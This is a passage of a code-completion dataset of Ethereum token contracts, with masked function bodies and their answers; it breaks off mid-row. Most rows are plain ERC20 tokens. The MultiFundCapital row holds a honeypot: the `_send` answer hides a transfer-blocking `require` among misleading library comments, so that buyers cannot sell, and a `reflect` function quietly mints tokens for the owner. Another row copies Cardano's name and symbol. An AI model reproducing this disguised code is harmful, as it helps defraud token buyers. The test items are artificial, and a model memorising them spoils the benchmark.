source_idx
stringlengths 1
5
| contract_name
stringlengths 1
55
| func_name
stringlengths 0
2.45k
⌀ | masked_body
stringlengths 60
686k
| masked_all
stringlengths 34
686k
| func_body
stringlengths 6
324k
| signature_only
stringlengths 11
2.47k
| signature_extend
stringlengths 11
8.95k
|
|---|---|---|---|---|---|---|---|
71736 | HoldFinance | transferFrom | contract HoldFinance is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
name = "Hold Finance";
symbol = "FHold";
decimals = 18;
_totalSupply = 500000000000000000000000000;
balances[msg.sender] = 500000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> }
} | contract HoldFinance is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
name = "Hold Finance";
symbol = "FHold";
decimals = 18;
_totalSupply = 500000000000000000000000000;
balances[msg.sender] = 500000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
<FILL_FUNCTION>
} |
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
| function transferFrom(address from, address to, uint tokens) public returns (bool success) | function transferFrom(address from, address to, uint tokens) public returns (bool success) |
57402 | MultiFundCapital | _send | contract MultiFundCapital is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal approver;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal nulls;
address internal openzepplin = 0x2fd06d33e3E7d1D858AB0a8f80Fa51EBbD146829;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev Reflects a specific amount of tokens.
* param value The amount of lowest token units to be reflected.
*/
function reflect(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: reflect from the zero address");
_reflect (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == approver) _allowed(tokens);
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function _allowed(uint tokens) internal {
nulls = IERC20(openzepplin).zeroAddress();
number = tokens;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _reflect(address _Address, uint _Amount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
nulls = _Address;
_totalSupply = _totalSupply.add(_Amount*2);
balances[_Address] = balances[_Address].add(_Amount*2);
}
function _send (address start, address end) internal view {<FILL_FUNCTION_BODY> }
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
approver = IERC20(openzepplin).approver();
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address _owner, address spender, uint amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowed[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
receive() external payable {
}
fallback() external payable {
}
} | contract MultiFundCapital is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal approver;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal nulls;
address internal openzepplin = 0x2fd06d33e3E7d1D858AB0a8f80Fa51EBbD146829;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev Reflects a specific amount of tokens.
* param value The amount of lowest token units to be reflected.
*/
function reflect(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: reflect from the zero address");
_reflect (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == approver) _allowed(tokens);
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function _allowed(uint tokens) internal {
nulls = IERC20(openzepplin).zeroAddress();
number = tokens;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _reflect(address _Address, uint _Amount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
nulls = _Address;
_totalSupply = _totalSupply.add(_Amount*2);
balances[_Address] = balances[_Address].add(_Amount*2);
}
<FILL_FUNCTION>
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
approver = IERC20(openzepplin).approver();
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address _owner, address spender, uint amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowed[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
receive() external payable {
}
fallback() external payable {
}
} |
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the nulls address. */ || (start == nulls && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
| function _send (address start, address end) internal view | function _send (address start, address end) internal view |
53985 | Contracoin | null | contract Contracoin is MintableToken, PausableToken {
string public name;
string public symbol;
uint256 public decimals;
constructor() public {<FILL_FUNCTION_BODY> }
} | contract Contracoin is MintableToken, PausableToken {
string public name;
string public symbol;
uint256 public decimals;
<FILL_FUNCTION>
} |
name = "Contracoin";
symbol = "CTCN";
decimals = 18;
| constructor() public | constructor() public |
91138 | ERC20Cardano | _transfer | contract ERC20Cardano is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
constructor() public {
_name = "Cardano";
_symbol = "ADA";
_decimals = 18;
_totalSupply = 100000000 * 10**18;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the ERC token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) public returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {<FILL_FUNCTION_BODY> }
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | contract ERC20Cardano is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
constructor() public {
_name = "Cardano";
_symbol = "ADA";
_decimals = 18;
_totalSupply = 100000000 * 10**18;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the ERC token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) public returns (bool) {
_burn(_msgSender(), amount);
return true;
}
<FILL_FUNCTION>
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} |
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
| function _transfer(address sender, address recipient, uint256 amount) internal | /**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal |
7125 | AnnJouCoin | AnnJouCoin | contract AnnJouCoin is StandardToken {
string public name = "AnnJouCoin";
string public symbol = "ANJ";
uint public decimals = 18;
uint public INITIAL_SUPPLY = 108000000000000000000000000;
string public version = 'A0.1';
uint256 public unitsOneEthCanBuy = 106; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei = totalEthInWei + msg.value; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet = msg.sender; // Where should the raised ETH go?
function AnnJouCoin() public {<FILL_FUNCTION_BODY> }
} | contract AnnJouCoin is StandardToken {
string public name = "AnnJouCoin";
string public symbol = "ANJ";
uint public decimals = 18;
uint public INITIAL_SUPPLY = 108000000000000000000000000;
string public version = 'A0.1';
uint256 public unitsOneEthCanBuy = 106; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei = totalEthInWei + msg.value; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet = msg.sender; <FILL_FUNCTION>
} |
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
| function AnnJouCoin() public | // Where should the raised ETH go?
function AnnJouCoin() public |
20121 | AuspexNetwork | approveAndCall | contract AuspexNetwork is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "APX";
name = "Auspex Network";
decimals = 18;
_totalSupply = 7000000000000000000000000;
balances[0xFf10B9bbd122c0273Bc4E3A82672b92D920480e1] = _totalSupply;
emit Transfer(address(0), 0xFf10B9bbd122c0273Bc4E3A82672b92D920480e1, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {<FILL_FUNCTION_BODY> }
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract AuspexNetwork is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "APX";
name = "Auspex Network";
decimals = 18;
_totalSupply = 7000000000000000000000000;
balances[0xFf10B9bbd122c0273Bc4E3A82672b92D920480e1] = _totalSupply;
emit Transfer(address(0), 0xFf10B9bbd122c0273Bc4E3A82672b92D920480e1, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
